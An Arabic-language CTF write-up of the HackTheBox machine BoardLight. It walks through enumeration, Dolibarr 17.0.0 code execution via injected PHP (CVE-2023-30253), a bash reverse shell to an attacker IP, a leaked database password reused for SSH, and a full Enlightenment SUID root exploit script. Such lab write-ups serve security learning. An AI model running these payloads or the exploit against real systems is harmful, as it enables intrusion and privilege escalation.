> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md).

# شرح BoardLight HackTheBox

{% embed url="<https://app.hackthebox.com/machines/BoardLight>" %}

{% hint style="warning" %}
**المهارات:**

* تعداد النطاقات الفرعية
* استغلال Dolibarr 17.0.0 - CVE-2023-30253
* تسريب المعلومات (التحول إلى مستخدم آخر)
* استغلال ثنائي Enlightenment SUID (تصعيد الصلاحيات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/60db504c1f74396840aa9c1c6370973cb9c7869e" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/0265fc90c9b82b9946defff46fa6b28b304dce1d" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.11 -oG allPorts
```

<figure><img src="/files/e1e8c41ad73c79bc77966931fa0d3334608fd2e2" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (22.80)

<figure><img src="/files/f0a1d8ac533e70cafd7fe8276ceca2b599b1a43a" alt="" width="563"><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80 10.10.11.11 -oN targeted
```

<figure><img src="/files/4809851b4e80519038f68abd98d72e0fa666a223" alt=""><figcaption></figcaption></figure>

## المنفذ 80 - HTTP

**التحليل باستخدام WhatWeb:** نحدد رسالة بريد إلكتروني تحتوي على اسم نطاق: `board.htb`.

<figure><img src="/files/e5b47fb4910c16b81bb99d443b735cdf6b341e4b" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، نقوم بإدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

<figure><img src="/files/02fa0da2288a46911e4ee2cf43ff2c078ff19d31" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/6ee34fdab9d33106e558f56ebd9f546b35523cd4" alt=""><figcaption></figcaption></figure>

## استطلاع الويب

**البحث عن الأدلة باستخدام Feroxbuster:**

```bash
feroxbuster -u http://board.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

لم يتم العثور على نتائج ذات صلة.

<figure><img src="/files/19ab38f71f7303f00d0b773b02833397927bcc61" alt=""><figcaption></figcaption></figure>

**استكشاف النطاقات الفرعية باستخدام Gobuster:**

```bash
gobuster vhost -u http://board.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 200
```

نكتشف نطاقًا فرعيًا: `crm.board.htb`..

<figure><img src="/files/8db3147488a0e280c8908921091d09135c20aa25" alt=""><figcaption></figcaption></figure>

نضيفه إلى `/etc/hosts`

<figure><img src="/files/0ef190990ac1e41b9255037ffcdd707b95188915" alt="" width="563"><figcaption></figcaption></figure>

## ثغرة CMS Dolibarr

<figure><img src="/files/492dccb7d2793ac379bd7fea52b578f815ed88d7" alt=""><figcaption></figcaption></figure>

**اتصال بدون مصادقة:** محاولة اتصال ببيانات اعتماد عشوائية تسجّل الدخول كمسؤول ولكن بدون صلاحيات.

<figure><img src="/files/05f05d862498a252d7446889ac86f3b59f44dfd9" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/a51bca25070084bf875c1ddcecc16e189bbebf14" alt=""><figcaption></figcaption></figure>

### **الاستغلال اليدوي**

**إنشاء موقع خبيث:**

في قسم إنشاء الموقع، ندخل كود PHP خبيثًا:

<figure><img src="/files/e6a01d560eff461a336ade576b801528c6cba667" alt=""><figcaption></figcaption></figure>

```php
<section id="pwned" contenteditable="true"><?PhP system("whoami"); ?></section>
```

<figure><img src="/files/10278829cd6f85eb91d0739feb206bca456c2351" alt=""><figcaption></figcaption></figure>

نؤكد تنفيذ الأوامر.

<figure><img src="/files/fe6a87a23834408dc0eb64b478d88e452fa755b9" alt=""><figcaption></figcaption></figure>

**شل عكسي:**

الاستماع:

```bash
nc -nvlp 443
```

كود PHP لشل معكوس:

```php
<?phP
system($_GET['bash -c "bash -i >%26 /dev/tcp/10.10.14.47/443 0>%261"']);
?>
```

<figure><img src="/files/e1f1bfea05edae701016b14bafce79e458fc7a0b" alt=""><figcaption></figcaption></figure>

### **الاستغلال الآلي**

{% embed url="<https://github.com/Rubikcuv5/cve-2023-30253>" %}

**تثبيت الاعتمادات:**

```bash
pip3 install -r requirements.txt 
```

**تشغيل السكربت:**

أمر اختبار (whoami)

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami
```

<figure><img src="/files/ce5c3b4386d3d680dd43a77036a88a3831c68c4a" alt=""><figcaption></figcaption></figure>

#### شل عكسي

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443
```

<figure><img src="/files/1e0bd2149a4411e79bcd860d5e6923ec9f6a8345" alt=""><figcaption></figcaption></figure>

#### تثبيت الطرفية

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## التحول إلى المستخدم - Larissa

الهدف هو التحول نحو المستخدم **لاريسا**.

<figure><img src="/files/5d205f630d918649229f943dffdc814491f546e8" alt=""><figcaption></figcaption></figure>

### استكشاف المعلومات

في `الويب` مجلد موجود في `htbdocs`، نجد مجلدًا باسم `conf` يحتوي على ملف **conf.php** . يحتوي هذا الملف على المعلومات التالية:

<figure><img src="/files/0fcd693b33fcdd29954f19d3126fe3a89e752ed1" alt=""><figcaption></figcaption></figure>

* كلمة المرور: `serverfun2$2023`!!

#### اتصال SSH

باستخدام المعلومات المسترجعة، لنحاول الاتصال بالجهاز عبر SSH:

```bash
ssh larissa@10.10.11.11
```

**النتيجة:** الاتصال يعمل.

<figure><img src="/files/7087886d56d776f2962f54c3f2214baf467632a1" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/25d17388c2451ef68b43b2e1b2f6d6aa493512ca" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات

### SUID - Enlightenment

نبدأ بالبحث عن ملفات SUID المملوكة لمستخدمنا. للقيام بذلك، شغّل الأمر التالي:

```bash
find / -perm -4000 2>/dev/null
```

من خلال تحليل المخرجات، نلاحظ وجود **enlightenment** الثنائي.

<figure><img src="/files/00b65e110927aa55bb71eb1f895afd0120d762ee" alt=""><figcaption></figcaption></figure>

نحن نستكشف الثغرات المرتبطة بهذا الثنائي. بعد بعض البحث، نحدد استغلالًا ينطبق على الإصدار **0.25.4**.

{% embed url="<https://www.exploit-db.com/exploits/51180>" %}

<figure><img src="/files/ffafaa595f0e1b658b0ee88accfbbe8399403989" alt=""><figcaption></figcaption></figure>

ومع ذلك، عند التحقق من الإصدار الحالي من Enlightenment المثبت على النظام، نجد أنه الإصدار **0.23.1**، وهو إصدار أقدم.

<figure><img src="/files/8ac4f2bb2e6098c207952f4050c4fa4f5f323096" alt=""><figcaption></figcaption></figure>

نختبر الاستغلال التالي لاستغلال الثغرة:

```bash
#!/usr/bin/bash

file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
rm -rf /tmp/exploit
rm -rf /tmp/net
```

```bash
./exploit.sh
```

بعد تشغيل الاستغلال، نحصل على غلاف بصلاحيات root.

<figure><img src="/files/c77c03cb1d5e5ea51cd0396d19a848d4ca6982d8" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/e38f5d1ddc162f2b00e87f2cc083f8e775ff74c7" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/a47319fb625acffe9316dba771e9771b4ad2fae3" alt="" width="425"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
